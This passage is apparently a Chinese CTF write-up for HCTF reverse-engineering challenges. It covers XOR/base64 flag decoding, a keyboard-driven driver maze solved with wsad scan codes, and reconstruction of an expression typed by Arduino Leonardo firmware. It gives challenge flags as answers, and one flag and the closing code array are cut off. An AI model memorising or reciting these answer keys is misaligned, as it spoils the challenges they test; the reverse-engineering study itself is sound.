xor=[0,0,8,0,128,0,0,1,0,48,8,1,128,0,12,1,64,0,0,0,0,0,8,1,64,0,0,2,0,16,4,0,192,16,0,0,192,48,0,2,128,16,8,0,64,32,4,2,0,48,0,3,192,16,4,2,192,0,8,1,128,48,0,2,192,0,0,1,128,16,4,1,128,48,4,2,0,16,12,2,192,0,4,3,0,32,12,1,0,16,12,0,192,32,12,3,192,16,0,2,128,48,0,2,64,16,12,3,64,32,4,2,128,0,12,0,128,48,8,1,192,48,0,1,0,48,8,0,0,16,4,0,0,0,8,0,128,0,12,3,192,0,12,2,192,32,8,1,64,48,12,3,0,0,12,1,0,0,4,1]
a=''
for i in range(len(secret)):
    a+=chr(secret[i]^xor[4*i]^xor[4*i+1]^xor[4*i+2]^xor[4*i+3])
print(a)

解密后:
Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==
它的base64加密大小写是反的,手动换一下= =
aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ==

hctf{1zumi_K0nat4_Mo3

seven

又是驱动逆向
sub_140001000中kbdclass应该跟键盘有关,但不知道怎么输入的
sub_1400012F0应该是解密函数了
中间有一段代码:

if ( *v6 == 0x11 )                        // up
      {
        if ( v5 & 0xFFFFFFF0 )
        {
          v5 -= 0x10;
          goto LABEL_13;
        }
        v5 += 0xD0;
        dword_1400030E4 = v5;
      }
      if ( v8 != 0x1F )                         // down
        goto LABEL_14;
      if ( (v5 & 0xFFFFFFF0) == 0xD0 )
        v5 -= 0xD0;
      else
        v5 += 0x10;
LABEL_13:
      dword_1400030E4 = v5;
LABEL_14:
      if ( v8 == 0x1E )                           // left
      {
        if ( v5 & 0xF )
          --v5;
        else
          v5 += 0xF;
        dword_1400030E4 = v5;
      }
      if ( v8 == 0x20 )                           // right
      {
        if ( (v5 & 0xF) == 15 )
          v5 -= 15;
        else
          ++v5;
        dword_1400030E4 = v5;
      }
      v9 = aO[v5];
      if ( v9 == '*' )
      {
        v10 = "-1s\n";
      }
      else
      {
        if ( v9 != '7' )
        {
LABEL_29:
          aO[v5] = 'o';
          goto LABEL_30;
        }
        v10 = "The input is the flag!\n";
      }

aO为字符串

****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********

要把这个o走到7的位置
0x11 0x1F 0x1E 0x20是硬件扫描码 wsad,对应写出移动的顺序就行了

https://blog.csdn.net/wangyi_lin/article/details/9016125
https://bbs.pediy.com/thread-218363.htm

flag:hctf{ddddddddddddddssaasasasasasasasasas}

PolishDuck

找到了字符串 Arduino leonardo,是单片机的型号.
该题是AVR汇编, 应该是一道算法题, 转成bin之后能看到:

44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )

但好像不是一个完整的等式, 无法解出...emmmm

做法是瞎猜的,没想到能做出来= =
这是个hex文件,首先不知道它机器的芯片,先用ida直接打开,能看到解析后的内容,也可以用相关工具解析成bin再用ida打开。发现0180地址出有一串字符串Arduino LLC Arduino Leonardo
这是它机器的型号,查找资料知道是avr架构的ATmega32u
ida打开的时候,processer type 选Atmel AVR,打开后选ATmega32_L,可以反汇编了。
在0D40地址看到

notepad.exe 44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )

不是一个完整的式子,不能计算,想起他方向。
这不是一个 完整的字符串,而是很多个字符串(中间有\x00),大致猜一下可能是选取其中某些字符串拼接起来,就能计算了
从开头开始跟踪,跟踪到sub_9A8,应该是解析相关的函数了。
往下找,找到可疑的地方0A6C开始:

ROM:0A6C                 ldi     r22, 0xF4
ROM:0A6D                 ldi     r23, 1
ROM:0A6E                 ldi     r24, 0
ROM:0A6F                 ldi     r25, 0
ROM:0A70                 call    sub_8B6
ROM:0A72                 ldi     r24, 0x40 ; '@'
ROM:0A73                 ldi     r25, 1
ROM:0A74                 call    sub_88D
ROM:0A76                 ldi     r22, 0xF4
ROM:0A77                 ldi     r23, 1
ROM:0A78                 ldi     r24, 0
ROM:0A79                 ldi     r25, 0
ROM:0A7A                 call    sub_8B6
ROM:0A7C                 ldi     r24, 0x4C ; 'L'
ROM:0A7D                 ldi     r25, 1
ROM:0A7E                 call    sub_88D
ROM:0A80                 ldi     r22, 0xF4
ROM:0A81                 ldi     r23, 1
ROM:0A82                 ldi     r24, 0
ROM:0A83                 ldi     r25, 0
ROM:0A84                 call    sub_8B6
ROM:0A86                 ldi     r24, 0x53 ; 'S'
ROM:0A87                 ldi     r25, 1
ROM:0A88                 call    sub_88D
ROM:0A8A                 ldi     r22, 0xF4
ROM:0A8B                 ldi     r23, 1
ROM:0A8C                 ldi     r24, 0
ROM:0A8D                 ldi     r25, 0
ROM:0A8E                 call    sub_8B6
ROM:0A90                 ldi     r24, 0x62 ; 'b'
ROM:0A91                 ldi     r25, 1
ROM:0A92                 call    sub_88D

有很多结构十分相似的部分,把不一样的地方都提取出来,是一堆地址

140  14C  153  162  177  18B  1A9  1C8  1D3  1EB  1FE  25E  207 21C 227 246 261 270 28B 298 2A3 2B1 25C 2BA 2C5 2D0 2D7 2F2 307 310 25E 327 346 3DC 34D 364 373 38F 3A6 3B3 3BF 3D0 3DF 3EF 400 44B 413 42C 43B 44F 452 490 45F 46C 47D 48E 497 49E 4B5 4CB 445 445 4D6 44D 44D 494 4E5 44F

这些地址并不指向任何东西,但如过把140对应之前字符串的开头notepad.exe,14C刚好能对应第二个字符串开头44646,以此类推,而某些地址可能指向的不是某一字符串的开头,这样猜测整合完应该能得到完整算术式
试着把他们一一对应过去

unsigned char secret[] = { 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E, 0x65, 0x78,0x65, 0x00, 0x34, 0x34, 0x36, 0x34, 0x36, 0x20, 0x00, 0x2B,0x20, 0x28, 0x20, 0x36, 0x34, 0x30, 0x39, 0x34, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x37, 0x31, 0x38, 0x32,
        

Hacking more

...